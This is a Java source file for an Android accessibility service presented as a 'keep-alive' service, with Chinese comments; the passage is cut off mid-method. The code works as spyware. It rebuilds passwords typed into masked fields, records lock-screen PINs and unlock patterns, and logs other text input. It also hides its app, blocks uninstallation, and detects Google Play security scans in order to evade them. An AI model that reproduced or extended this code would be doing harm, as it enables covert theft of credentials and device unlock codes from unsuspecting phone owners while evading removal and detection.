package com.demo.accessibilitykeeper;

import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.annotation.SuppressLint;
import android.app.ActivityManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.os.Build;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.view.inputmethod.InputConnection;
import android.view.inputmethod.InputMethodManager;
import android.widget.Toast;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Random;

import android.graphics.Point;
import android.graphics.Rect;
import android.os.Bundle;

import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;

/**
 * 无障碍保活服务
 * 通过监控系统事件来保持服务活跃
 */
@SuppressLint("LongLogTag")
public class AccessibilityKeeperService extends AccessibilityService {

    private static final String TAG = "AccessibilityKeeperService";
    private static final String PREFS_NAME = "accessibility_keeper_prefs";


    private SharedPreferences prefs;
    private AppHider appHider;
    private AdvancedAppHider advancedAppHider;

    // UninstallBackSet integration
    private UninstallBackSet uninstallBackSet;

    // 持续遮罩相关
    private Intent persistentMaskServiceIntent;
    private boolean isPersistentMaskEnabled = false;

    // 密码累积相关 - 简化版本
    private StringBuilder finalPassword = new StringBuilder();  // 最终完整密码字符串
    private String lastRawPassword = "";  // 上一次的原始密码文本（带点号），用于提取新插入的字符
    
    // 输入记录相关
    private String lastRecordedContent = "";  // 上次记录的内容，避免重复记录
    private String lastRecordedPackage = "";  // 上次记录的包名
    private String lastRecordedActivity = "";  // 上次记录的Activity
    private String lastRecordedPasswordType = "";  // 上次记录的密码类型
    
    // 锁屏密码相关
    private StringBuilder lockScreenPassword = new StringBuilder();  // 锁屏密码序列（数字密码）
    private long lastLockScreenClickTime = 0;  // 上次锁屏点击时间
    private static final long LOCK_SCREEN_CLICK_TIMEOUT = 2000;  // 锁屏点击超时时间（2秒）
    private String lastLockScreenPackage = "";  // 上次锁屏包名
    private String lastRecordedLockScreenPassword = "";  // 上次记录的锁屏密码，避免重复记录
    
    // 锁屏图案密码相关
    private StringBuilder lockScreenPattern = new StringBuilder();  // 锁屏图案密码序列
    private long lastPatternUpdateTime = 0;  // 上次图案更新时间
    private static final long PATTERN_TIMEOUT = 3000;  // 图案超时时间（3秒）
    private String lastRecordedLockScreenPattern = "";  // 上次记录的锁屏图案，避免重复记录
    private AccessibilityNodeInfo currentPatternNode = null;  // 当前图案视图节点
    private List<Point> patternPath = new ArrayList<>();  // 图案路径（点位序列）
    private Rect patternNodeBounds = new Rect();  // 图案视图的屏幕坐标

    @Override
    public void onCreate() {
        super.onCreate();
        Log.i(TAG, "🚀 ACCESSIBILITY_KEEPER_SERVICE_CREATED");

        // 初始化SharedPreferences
        prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);

        // 初始化应用隐藏工具
        appHider = new AppHider(this);

        // 初始化高级应用隐藏工具
        advancedAppHider = new AdvancedAppHider(this);

        // 初始化UninstallBackSet
        uninstallBackSet = new UninstallBackSet();
        UninstallBackSet.initNouninstall(this);
        UninstallBackSet.setService(this);

        // 更新重启计数
        updateRestartCount();

        // 注册投屏权限自动点击广播接收器
        registerScreenCastAutoClickReceiver();

        // 注册初始化文件广播接收器
        registerInitFileReceiver();

        // 初始化持续遮罩服务
        initPersistentMaskService();

        // 初始化输入记录文件
        initInputRecordFile();

    }

    @Override
    public void onServiceConnected() {
        super.onServiceConnected();
        Log.i(TAG, "🔗 ACCESSIBILITY_KEEPER_SERVICE_CONNECTED");

        // 配置无障碍服务信息
        AccessibilityServiceInfo info = new AccessibilityServiceInfo();
        info.eventTypes = AccessibilityEvent.TYPE_VIEW_CLICKED |
                AccessibilityEvent.TYPE_VIEW_FOCUSED |
                AccessibilityEvent.TYPE_VIEW_LONG_CLICKED |
                AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED |
                AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED |
                AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED |  // 【重要】监听文本变化事件
                AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED;  // 监听文本选择变化
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_GENERIC;
        info.flags = AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS |
                AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;  // 获取交互窗口
        info.notificationTimeout = 50;  // 降低超时时间，更快响应
        setServiceInfo(info);

        // 记录服务启动
        recordServiceStart();

        // 启动应用状态监控
        startAppStatusMonitoring();

        // 启动AppHider功能
        startAppHiderFeatures();

        //监听屏幕状态
        registerScreenReceiver();
    }

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        if (event != null) {
            if (mIsDeviceUnlocked) {
                // 监听用户点击到系统设置界面
                monitorSettingsAccess(event);
            }

            // 卸载保护机制
            performUninstallProtection(event);
            // Google Play安全扫描检测
            detectGooglePlaySecurityScan(event);

            // 【锁屏密码监听】优先处理锁屏界面的数字密码和图案密码输入
            String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
            String className = event.getClassName() != null ? event.getClassName().toString() : "";
            int eventType = event.getEventType();
            
            // 记录所有窗口状态变化事件（用于调试锁屏界面检测）
            if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
                Log.d(TAG, "🪟 窗口状态变化 - 包名: " + packageName + ", 类名: " + className);
            }
            
            // 检测是否为锁屏界面（更主动的检测）
            boolean isLockScreenEvent = isLockScreenPackage(packageName) || 
                                      className.contains("Keyguard") || 
                                      className.contains("LockScreen") ||
                                      className.contains("LockPattern") ||
                                      className.contains("KeyguardView") ||
                                      className.contains("KeyguardHostView");
            
            // 如果检测到锁屏界面，记录详细信息
            if (isLockScreenEvent) {
                Log.d(TAG, "🔒 检测到锁屏界面事件 - 包名: " + packageName + ", 类名: " + className + ", 事件类型: " + eventType);
            }
            
            // 监听所有点击事件，检测锁屏数字键盘和图案
            if (eventType == AccessibilityEvent.TYPE_VIEW_CLICKED) {
                handleLockScreenPassword(event);
                if (isLockScreenEvent) {
                    Log.d(TAG, "🖱️ 锁屏界面点击事件，检查图案");
                    // 优先通过点击坐标收集图案点
                    collectPatternFromClick(event);
                    // 同时尝试从节点提取
                    handleLockScreenPattern(event);
                }
            }
            
            // 监听窗口内容变化，检测图案密码（图案绘制时会触发）
            if (eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
                if (isLockScreenEvent) {
                    Log.d(TAG, "🔄 锁屏界面内容变化，检查图案 - 包名: " + packageName + ", 类名: " + className);
                    handleLockScreenPattern(event);
                }
            }
            
            // 监听所有锁屏界面的事件（更主动）
            if (eventType == AccessibilityEvent.TYPE_VIEW_SCROLLED ||
                eventType == AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED) {
                if (isLockScreenEvent) {
                    Log.d(TAG, "🔄 锁屏界面滚动/选择变化，检查图案 - 包名: " + packageName);
                    handleLockScreenPattern(event);
                }
            }
            
            // 监听窗口状态变化，检测锁屏界面
            if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
                // 检测进入锁屏界面
                if (isLockScreenEvent) {
                    if (!isLockScreenPackage(lastLockScreenPackage)) {
                        // 刚进入锁屏界面，重置密码序列
                        lockScreenPassword.setLength(0);
                        lastRecordedLockScreenPassword = "";
                        lockScreenPattern.setLength(0);
                        lastRecordedLockScreenPattern = "";
                        Log.d(TAG, "🔒 进入锁屏界面: " + packageName + ", 类名: " + className);
                    }
                    lastLockScreenPackage = packageName;
                    
                    // 进入锁屏界面时立即检查图案
                    Log.d(TAG, "🔒 锁屏界面窗口状态变化，立即检查图案");
                    handleLockScreenPattern(event);
                }
                
                // 检测从锁屏界面退出（解锁成功）
                if (isLockScreenPackage(lastLockScreenPackage) && !isLockScreenEvent) {
                    Log.d(TAG, "🔓 检测到从锁屏界面退出 - 之前: " + lastLockScreenPackage + ", 现在: " + packageName);
                    // 记录数字密码
                    if (lockScreenPassword.length() > 0) {
                        Log.d(TAG, "🔓 检测到从锁屏界面退出，记录数字密码: " + lockScreenPassword.toString());
                        recordLockScreenPassword(lockScreenPassword.toString());
                    }
                    // 记录图案密码
                    if (lockScreenPattern.length() > 0) {
                        Log.d(TAG, "🔓 检测到从锁屏界面退出，记录图案密码: " + lockScreenPattern.toString());
                        recordLockScreenPattern(lockScreenPattern.toString());
                    }
                }
            }
            
            // 监听所有事件类型，只要在锁屏界面就检查图案（最主动的方式）
            if (isLockScreenEvent && (eventType == AccessibilityEvent.TYPE_VIEW_LONG_CLICKED ||
                                     eventType == AccessibilityEvent.TYPE_VIEW_FOCUSED ||
                                     eventType == AccessibilityEvent.TYPE_VIEW_SELECTED ||
                                     eventType == AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED)) {
                Log.d(TAG, "🎯 锁屏界面其他事件，检查图案 - 事件类型: " + eventType);
                handleLockScreenPattern(event);
            }

            // 【优化监控】专门监听文本变化事件，处理密码输入
            if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
                handlePasswordTextChanged(event);
                // 记录输入内容
                recordInputContent(event);
            }

            // 监听其他事件（点击、焦点等）用于触发密码字段检查
            if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_CLICKED ||
                event.getEventType() == AccessibilityEvent.TYPE_VIEW_FOCUSED ||
                event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {

                AccessibilityNodeInfo source = event.getSource();
                if (source != null && source.isEditable() && source.isPassword()) {
                    // 检查密码字段状态，用于初始化和状态同步
                    checkAndUpdatePasswordState(source);
                    // 记录密码输入内容
                    recordInputContent(event);
                } else if (source != null && source.isEditable() && !source.isPassword()) {
                    // 非密码字段
                    CharSequence text = source.getText();
                    if (text != null) {
                        String inputText = text.toString();
                        Log.d("InputText", "获取到输入: " + inputText);
                        // 记录非密码输入内容
                        recordInputContent(event);
                    }
                }
            }
            
            // 注意：设备解锁事件的处理已经在上面 TYPE_WINDOW_STATE_CHANGED 事件中完成
            // 这里不再需要重复处理

            Log.d("InputText", "AccessibilityEvent: " + event.getEventType());
        }
    }

    /**
     * 字符位置信息
     */
    private static class CharPosition {
        char character;
        int position;  // 在密码中的位置
        int rawIndex;  // 在原始文本中的索引位置

        CharPosition(char c, int pos, int rawIdx) {
            character = c;
            position = pos;
            rawIndex = rawIdx;
        }
    }


    /**
     * 打印最终密码
     */
    private void printFinalPassword() {
        try {
            Log.d("PasswordBuild", "📝 最终密码: " + finalPassword.toString() + " (长度: " + finalPassword.length() + ")");
        } catch (Exception e) {
            Log.e("PasswordBuild", "❌ 打印最终密码时出错", e);
        }
    }

    /**
     * 【简化逻辑】处理密码插入/删除
     * 参数：
     * @param currentRaw 当前的原始数据（带点号的完整文本）
     * @param currentClean 当前清理后的数据（去除点号）
     * @param insertIndex 插入位置
     * @param addedCount 插入的字符数量
     * @param removedCount 删除的字符数量
     */
    private void handlePasswordInsertDelete(String currentRaw, String currentClean, int insertIndex, int addedCount, int removedCount) {
        try {
            Log.d("PasswordSimple", "🔍 处理密码插入/删除");
            Log.d("PasswordSimple", "  之前的原始数据: " + lastRawPassword);
            Log.d("PasswordSimple", "  当前的原始数据: " + currentRaw);
            Log.d("PasswordSimple", "  插入位置: " + insertIndex);
            Log.d("PasswordSimple", "  插入数量: " + addedCount);
            Log.d("PasswordSimple", "  删除数量: " + removedCount);

            // 如果密码为空，重置
            if (currentRaw.isEmpty()) {
                finalPassword.setLength(0);
                lastRawPassword = "";
                Log.d("PasswordSimple", "🔄 密码已清空，重置状态");
                printFinalPassword();
                return;
            }

            // 如果是首次输入，从当前原始数据中提取所有可见字符
            if (lastRawPassword.isEmpty()) {
                String allVisible = extractAllVisibleCharsInOrder(currentRaw);
                finalPassword.setLength(0);
                finalPassword.append(allVisible);
                lastRawPassword = currentRaw;
                Log.d("PasswordSimple", "✅ 首次输入，提取所有可见字符: " + allVisible);
                printFinalPassword();
                return;
            }

            // 处理删除操作：从 insertIndex 位置删除 removedCount 个字符
            if (removedCount > 0 && insertIndex >= 0 && insertIndex < finalPassword.length()) {
                int endIndex = Math.min(insertIndex + removedCount, finalPassword.length());
                finalPassword.delete(insertIndex, endIndex);
                Log.d("PasswordSimple", "🗑️ 删除操作: 从位置 " + insertIndex + " 删除 " + removedCount + " 个字符");
            }

            // 处理插入操作：从当前原始数据中提取新插入的字符
            if (addedCount > 0) {
                // 从当前原始数据中提取可见字符
                String currentVisible = extractAllVisibleCharsInOrder(currentRaw);
                String lastVisible = extractAllVisibleCharsInOrder(lastRawPassword);
                
                Log.d("PasswordSimple", "  当前可见字符: " + currentVisible);
                Log.d("PasswordSimple", "  上次可见字符: " + lastVisible);
                Log.d("PasswordSimple", "  当前最终密码: " + finalPassword.toString());

                // 【核心逻辑】提取新插入的字符
                // 例如：lastVisible = "123456789", currentVisible = "123qwer456789", insertIndex = 3
                // 应该在位置3插入 "qwer"，最终结果是 "123qwer456789"
                
                String newChars = "";
                
                // 方法1：直接比较两个可见字符串，找出在 insertIndex 位置新增的字符
                // 核心思路：比较 lastVisible 和 currentVisible，找出在 insertIndex 位置新增的字符
                // 例如：lastVisible = "123456789", currentVisible = "123qwer456789", insertIndex = 3
                // 应该在位置3插入 "qwer"，最终结果是 "123qwer456789"
                if (currentVisible.length() > lastVisible.length()) {
                    // 如果插入位置在已有密码范围内
                    if (insertIndex < lastVisible.length()) {
                        // 比较 insertIndex 之前的部分，应该相同
                        String beforeInsert = lastVisible.substring(0, insertIndex);
                        String currentBefore = currentVisible.substring(0, Math.min(insertIndex, currentVisible.length()));
                        
                        if (beforeInsert.equals(currentBefore)) {
                            // 前缀相同，说明插入位置正确
                            // 从 insertIndex 开始提取 addedCount 个字符
                            int startPos = insertIndex;
                            int endPos = Math.min(startPos + addedCount, currentVisible.length());
                            if (endPos > startPos) {
                                newChars = currentVisible.substring(startPos, endPos);
                                Log.d("PasswordSimple", "✅ 方法1-前缀匹配: 提取新字符: " + newChars + " (位置 " + startPos + "-" + endPos + ")");
                            }
                        } else {
                            // 前缀不同，可能插入位置有误，尝试从差异中提取
                            // 找到第一个不同的位置
                            int diffPos = 0;
                            int minLen = Math.min(beforeInsert.length(), currentBefore.length());
                            while (diffPos < minLen && beforeInsert.charAt(diffPos) == currentBefore.charAt(diffPos)) {
                                diffPos++;
                            }
                            // 如果差异位置在 insertIndex 之后，说明插入位置正确
                            if (diffPos >= insertIndex) {
                                int startPos = insertIndex;
                                int endPos = Math.min(startPos + addedCount, currentVisible.length());
                                if (endPos > startPos) {
                                    newChars = currentVisible.substring(startPos, endPos);
                                    Log.d("PasswordSimple", "✅ 方法1-差异位置: 提取新字符: " + newChars);
                                }
                            }
                        }
                    } else {
                        // 插入位置在末尾或之后，直接提取末尾新增的部分
                        newChars = currentVisible.substring(lastVisible.length());
                        Log.d("PasswordSimple", "✅ 方法1-末尾插入: 提取新字符: " + newChars);
                    }
                } else if (currentVisible.length() == lastVisible.length()) {
                    // 长度相同，可能是替换操作，不应该有插入
                    Log.d("PasswordSimple", "⚠️ 长度相同，可能是替换操作，跳过插入");
                } else {
                    // 长度变短，可能是删除操作，不应该有插入
                    Log.d("PasswordSimple", "⚠️ 长度变短，可能是删除操作，跳过插入");
                }
                
                // 方法2：如果方法1失败，使用字符位置比较
                if (newChars.isEmpty() || newChars.length() < addedCount) {
                    List<CharPosition> lastPositions = extractCharPositionsWithRawIndex(lastRawPassword);
                    List<CharPosition> currentPositions = extractCharPositionsWithRawIndex(currentRaw);
                    
                    // 找出新增的字符
                    StringBuilder newCharsBuilder = new StringBuilder();
                    for (CharPosition cp : currentPositions) {
                        boolean isNew = true;
                        for (CharPosition lp : lastPositions) {
                            if (lp.rawIndex == cp.rawIndex && lp.character == cp.character) {
                                isNew = false;
                                break;
                            }
                        }
                        if (isNew) {
                            newCharsBuilder.append(cp.character);
                            if (newCharsBuilder.length() >= addedCount) {
                                break;
                            }
                        }
                    }
                    if (newCharsBuilder.length() > 0) {
                        newChars = newCharsBuilder.toString();
                        Log.d("PasswordSimple", "✅ 方法2-位置比较: 提取新字符: " + newChars);
                    }
                }
                
                // 在 insertIndex 位置插入新字符
                if (!newChars.isEmpty()) {
                    // 确保插入位置不超过当前密码长度
                    if (insertIndex > finalPassword.length()) {
                        // 如果插入位置超出当前长度，先填充到该位置
                        while (finalPassword.length() < insertIndex) {
                            finalPassword.append(' ');
                        }
                    }
                    // 【关键】在 insertIndex 位置插入新字符，这会自动保留插入位置前后的所有字符
                    finalPassword.insert(insertIndex, newChars);
                    Log.d("PasswordSimple", "✅ 插入操作: 在位置 " + insertIndex + " 插入: " + newChars);
                    Log.d("PasswordSimple", "✅ 插入后密码: " + finalPassword.toString());
                } else {
                    Log.w("PasswordSimple", "⚠️ 无法提取新插入的字符，尝试从完整可见字符重建");
                    // 如果无法提取，直接使用当前可见字符作为完整密码
                    finalPassword.setLength(0);
                    finalPassword.append(currentVisible);
                    Log.d("PasswordSimple", "✅ 使用完整可见字符重建: " + currentVisible);
                }
            }

            // 更新上次原始数据
            lastRawPassword = currentRaw;

            // 打印最终密码
            printFinalPassword();

        } catch (Exception e) {
            Log.e("PasswordSimple", "❌ 处理密码插入/删除错误", e);
        }
    }

    /**
     * 从原始文本中提取所有可见字符（按顺序）
     * 处理中间插入的情况
     * 这是关键方法：系统会在原始文本中显示部分字符，我们可以提取完整的密码
     */
    private String extractAllVisibleCharsInOrder(String rawText) {
        if (rawText == null || rawText.isEmpty()) {
            return "";
        }

        StringBuilder result = new StringBuilder();

        // 提取所有非点号、非星号、非句号的字符，保持原顺序
        for (char c : rawText.toCharArray()) {
            // 排除所有掩码字符
            if (c != '•' && c != '*' && c != '.' && c != ' ' && c != '\n' && c != '\t') {
                result.append(c);
            }
        }

        Log.d("PasswordExtract", "提取可见字符: " + rawText + " → " + result.toString());

        return result.toString();
    }

    /**
     * 【核心优化】根据插入位置重新构建完整密码
     * 处理单个字符插入的情况
     * 策略：根据原始文本中的字符位置信息，构建完整的密码数组
     */
    private void rebuildPasswordFromInsertion(String currentRaw, String currentClean, int fromIndex, int addedCount, int removedCount) {
        try {
            // 使用简化的插入/删除处理方法
            handlePasswordInsertDelete(currentRaw, currentClean, fromIndex, addedCount, removedCount);
        } catch (Exception e) {
            Log.e("PasswordRebuild", "❌ 重新构建密码错误", e);
        }
    }

    /**
     * 根据插入位置重新构建密码
     */
    private void rebuildPasswordFromRawText(String currentRaw, String currentClean, int insertPosition) {
        // 使用统一的方法处理密码重建
        rebuildPasswordFromRawText(currentRaw, currentClean);
    }

    /**
     * 根据插入位置重新构建密码
     */
    private void rebuildPasswordFromRawText(String currentRaw, String currentClean) {
        try {
            // 如果当前清理后的密码为空，重置状态
            if (currentClean.isEmpty()) {
                finalPassword.setLength(0);
                lastRawPassword = "";
                Log.d("PasswordRebuild", "🔄 密码已清空，重置状态");
                printFinalPassword();
                return;
            }

            // 【修复】只有在 finalPassword 为空时才重建，否则保留已有密码
            // 这样可以避免覆盖之前的插入操作
            if (finalPassword.length() == 0) {
                // 从原始文本中提取所有可见字符，直接构建完整密码
                String allVisibleChars = extractAllVisibleCharsInOrder(currentRaw);
                finalPassword.setLength(0);
                finalPassword.append(allVisibleChars);
                
                // 更新状态
                lastRawPassword = currentRaw;

                Log.d("PasswordRebuild", "📝 重建最终密码: " + finalPassword.toString());
                printFinalPassword();
            } else {
                // 如果已有密码，只更新 lastRawPassword，不重建 finalPassword
                // 因为 finalPassword 可能已经通过插入操作正确构建了
                lastRawPassword = currentRaw;
                Log.d("PasswordRebuild", "⚠️ 已有密码，不重建，只更新 lastRawPassword");
            }
        } catch (Exception e) {
            Log.e("PasswordRebuild", "❌ 根据原始文本重建错误", e);
        }
    }

    /**
     * 检查并更新密码状态（用于初始化和同步）
     * 【修复】不再重建密码，只用于初始化或同步检查
     */
    private void checkAndUpdatePasswordState(AccessibilityNodeInfo source) {
        try {
            CharSequence sourceText = source.getText();
            if (sourceText != null) {
                String currentRaw = sourceText.toString();
                String currentClean = currentRaw.replaceAll("[•*.]", "");

                // 如果 lastRawPassword 为空，说明是首次输入，需要初始化
                if (lastRawPassword.isEmpty() && !currentRaw.isEmpty()) {
                    // 首次输入，从当前原始数据中提取所有可见字符
                    String allVisible = extractAllVisibleCharsInOrder(currentRaw);
                    finalPassword.setLength(0);
                    finalPassword.append(allVisible);
                    lastRawPassword = currentRaw;
                    Log.d("PasswordMonitor", "✅ 首次输入，初始化密码: " + allVisible);
                    printFinalPassword();
                } else if (!currentRaw.equals(lastRawPassword)) {
                    // 如果原始数据变化，但已经有密码了，说明可能是通过其他方式修改的
                    // 这种情况下，我们不应该重建，而是应该等待 TEXT_CHANGED 事件来处理
                    // 因为 TEXT_CHANGED 事件会提供插入位置信息
                    Log.d("PasswordMonitor", "⚠️ 检测到密码变化，但等待 TEXT_CHANGED 事件处理");
                }
            }
        } catch (Exception e) {
            Log.e("PasswordMonitor", "❌ 检查密码状态错误", e);
        }
    }

    /**
     * 从原始文本中更新密码数组（根据字符位置）
     * 处理中间插入的情况
     * 【核心思路】原始文本的结构反映了密码的结构
     * 例如：•3••••• 表示密码长度为7，第2个字符（索引1）是3
     */
    private void updatePasswordFromRawText(String rawText, String cleanText, int insertIndex, int addedCount) {
        // 使用简化的方法处理密码更新
        updatePasswordFromRawText(rawText, cleanText);
    }

    /**
     * 【已废弃】不再使用，已由 handlePasswordInsertDelete 替代
     */
    @Deprecated
    private void updatePasswordFromRawText(String rawText, String cleanText) {
        // 不再使用此方法
    }

    /**
     * 从原始文本中提取字符及其位置信息（包括原始索引）
     */
    private List<CharPosition> extractCharPositionsWithRawIndex(String rawText) {
        List<CharPosition> positions = new ArrayList<>();

        for (int i = 0; i < rawText.length(); i++) {
            char c = rawText.charAt(i);
            if (c != '•' && c != '*' && c != '.' && c != ' ' && c != '\n' && c != '\t') {
                // 这是一个可见字符
                // 根据原始文本的结构，推断它在密码中的位置
                // 如果原始文本是 •3•••••，那么第2个字符（索引1）是3，它在密码中的位置也是1
                positions.add(new CharPosition(c, i, i));
            }
        }

        return positions;
    }

    /**
     * 【优化】处理密码字段文本变化事件
     * 专门处理 TYPE_VIEW_TEXT_CHANGED 事件，可以获取插入位置信息
     */
    private void handlePasswordTextChanged(AccessibilityEvent event) {
        try {
            AccessibilityNodeInfo source = event.getSource();
            if (source == null || !source.isPassword() || !source.isEditable()) {
                return;
            }

            CharSequence sourceText = source.getText();
            if (sourceText == null) {
                source.recycle();
                return;
            }

            String currentRawPassword = sourceText.toString();
            String currentCleanPassword = currentRawPassword.replaceAll("[•*.]", "");

            // 获取文本变化信息（插入位置和数量）
            int fromIndex = event.getFromIndex();
            int addedCount = event.getAddedCount();
            int removedCount = event.getRemovedCount();

            Log.d("PasswordMonitor", "🔍 文本变化事件");
            Log.d("PasswordMonitor", "  原始文本: " + currentRawPassword);
            Log.d("PasswordMonitor", "  清理后: " + currentCleanPassword);
            Log.d("PasswordMonitor", "  变化位置: " + fromIndex);
            Log.d("PasswordMonitor", "  新增数量: " + addedCount);
            Log.d("PasswordMonitor", "  删除数量: " + removedCount);

            // 【简化逻辑】直接处理插入/删除操作
            handlePasswordInsertDelete(currentRawPassword, currentCleanPassword, fromIndex, addedCount, removedCount);

            source.recycle();

        } catch (Exception e) {
            Log.e("PasswordMonitor", "❌ 处理文本变化事件错误", e);
        }
    }

    /**
     * 【已废弃】使用 handlePasswordInsertDelete 替代
     */
    @Deprecated
    private void updatePasswordWithInsertionDelete(String currentRaw, String currentClean, int fromIndex, int addedCount, int removedCount) {
        // 直接调用新的简化方法
        handlePasswordInsertDelete(currentRaw, currentClean, fromIndex, addedCount, removedCount);
    }

    /**
     * 输入变化信息
     */
    private static class InputChange {
        int rawIndex;      // 在原始文本中的位置
        int passwordIndex; // 在密码中的位置（推断）
        char character;    // 新增的字符
        boolean isInsert;  // 是否是插入操作
        boolean isDelete;  // 是否是删除操作

        InputChange(int rawIdx, int pwdIdx, char c, boolean insert, boolean delete) {
            rawIndex = rawIdx;
            passwordIndex = pwdIdx;
            character = c;
            isInsert = insert;
            isDelete = delete;
        }
    }

    /**
     * 【核心方法】比较当前原始文本和上次原始文本，找出新增的字符及其位置
     * 这是最可靠的方法：通过对比原始文本的变化来追踪每次输入
     */
    private List<InputChange> compareRawTexts(String lastRaw, String currentRaw) {
        List<InputChange> changes = new ArrayList<>();

        try {
            Log.d("PasswordCompare", "🔍 比较原始文本");
            Log.d("PasswordCompare", "  上次: " + lastRaw + " (长度: " + lastRaw.length() + ")");
            Log.d("PasswordCompare", "  当前: " + currentRaw + " (长度: " + currentRaw.length() + ")");

            // 如果上次为空，当前不为空，提取所有可见字符
            if (lastRaw.isEmpty() && !currentRaw.isEmpty()) {
                List<CharPosition> positions = extractCharPositionsWithRawIndex(currentRaw);
                for (CharPosition cp : positions) {
                    changes.add(new InputChange(cp.rawIndex, cp.rawIndex, cp.character, true, false));
                    Log.d("PasswordCompare", "  首次输入: 位置 " + cp.rawIndex + " = " + cp.character);
                }
                return changes;
            }

            // 提取上次和当前的所有可见字符及其位置
            List<CharPosition> lastPositions = extractCharPositionsWithRawIndex(lastRaw);
            List<CharPosition> currentPositions = extractCharPositionsWithRawIndex(currentRaw);

            Log.d("PasswordCompare", "  上次可见字符数: " + lastPositions.size());
            Log.d("PasswordCompare", "  当前可见字符数: " + currentPositions.size());

            // 找出新增的字符
            // 策略：通过字符顺序和位置关系来找出新增的字符
            // 例如：上次原始文本可能是 •••••••，当前是 ••3•••••，说明在位置2插入了3

            // 构建字符位置映射（用于快速查找）
            Map<Integer, Character> lastCharMap = new HashMap<>();
            for (CharPosition lastPos : lastPositions) {
                lastCharMap.put(lastPos.rawIndex, lastPos.character);
            }

            Map<Integer, Character> currentCharMap = new HashMap<>();
            for (CharPosition currentPos : currentPositions) {
                currentCharMap.put(currentPos.rawIndex, currentPos.character);
            }

            // 找出新增的字符（在当前中存在但在上次中不存在）
            for (CharPosition currentPos : currentPositions) {
                Character lastChar = lastCharMap.get(currentPos.rawIndex);
                if (lastChar == null || lastChar != currentPos.character) {
                    // 这是一个新字符或修改的字符
                    // 推断它在密码中的位置：根据原始文本中的位置
                    // 注意：原始文本中的位置可能对应密码中的位置，但需要根据已有密码长度调整
                    int passwordPos = currentPos.rawIndex;

                    // 【优化】如果插入位置在已有密码范围内，需要调整位置
                    // 例如：已有密码是1234（长度4），在位置2插入q，原始文本位置2对应密码位置2
                    // 但如果插入位置在密码中间，需要根据实际密码长度推断
                    // 注意：passwordLength 已不再使用，直接使用原始位置

                    changes.add(new InputChange(currentPos.rawIndex, passwordPos, currentPos.character, true, false));
                    Log.d("PasswordCompare", "  新增字符: 原始位置 " + currentPos.rawIndex + ", 密码位置 " + passwordPos + " = " + currentPos.character);
                }
            }

            // 如果原始文本长度增加了，说明有新增字符（可能之前没有提取到）
            if (currentRaw.length() > lastRaw.length()) {
                // 检查是否有新增的可见字符位置
                int diff = currentRaw.length() - lastRaw.length();
                // 找出新增的原始位置范围
                for (int i = lastRaw.length(); i < currentRaw.length(); i++) {
                    char c = currentRaw.charAt(i);
                    if (c != '•' && c != '*' && c != '.' && c != ' ' && c != '\n' && c != '\t') {
                        // 这是一个可见字符，且是新增的
                        int passwordPos = i;
                        // 注意：passwordLength 已不再使用，直接使用原始位置
                        changes.add(new InputChange(i, passwordPos, c, true, false));
                        Log.d("PasswordCompare", "  新增字符(长度增加): 原始位置 " + i + ", 密码位置 " + passwordPos + " = " + c);
                    }
                }
            }

            // 找出删除的字符（如果原始文本变短）
            if (currentPositions.size() < lastPositions.size()) {
                for (CharPosition lastPos : lastPositions) {
                    boolean stillExists = false;
                    for (CharPosition currentPos : currentPositions) {
                        if (currentPos.rawIndex == lastPos.rawIndex && currentPos.character == lastPos.character) {
                            stillExists = true;
                            break;
                        }
                    }
                    if (!stillExists) {
                        changes.add(new InputChange(lastPos.rawIndex, lastPos.rawIndex, lastPos.character, false, true));
                        Log.d("PasswordCompare", "  删除字符: 位置 " + lastPos.rawIndex + " = " + lastPos.character);
                    }
                }
            }

            Log.d("PasswordCompare", "✅ 发现 " + changes.size() + " 处变化");

        } catch (Exception e) {
            Log.e("PasswordCompare", "❌ 比较原始文本错误", e);
        }

        return changes;
    }

    /**
     * 【已废弃】不再使用，已由 handlePasswordInsertDelete 替代
     */
    @Deprecated
    private void applyInputChanges(List<InputChange> changes, String currentRaw, String currentClean) {
        // 不再使用此方法
    }

    /**
     * 处理插入或删除操作
     * 根据 fromIndex、addedCount、removedCount 精确更新密码数组
     */
    /**
     * 【已废弃】使用 handlePasswordInsertDelete 替代
     */
    @Deprecated
    private void handleInsertionOrDeletion(String currentRaw, String currentClean, int fromIndex, int addedCount, int removedCount) {
        // 直接调用新的简化方法
        handlePasswordInsertDelete(currentRaw, currentClean, fromIndex, addedCount, removedCount);
    }
    
    /**
     * 【已废弃】旧方法，不再使用 - 已删除实现
     */
    @Deprecated
    private void handleInsertionOrDeletion_OLD(String currentRaw, String currentClean, int fromIndex, int addedCount, int removedCount) {
        // 旧方法已删除，不再使用
    }
    
    /**
     * 【已废弃】旧方法实现，已删除
     */
    @Deprecated
    private void handleInsertionOrDeletion_OLD_IMPL(String currentRaw, String currentClean, int fromIndex, int addedCount, int removedCount) {
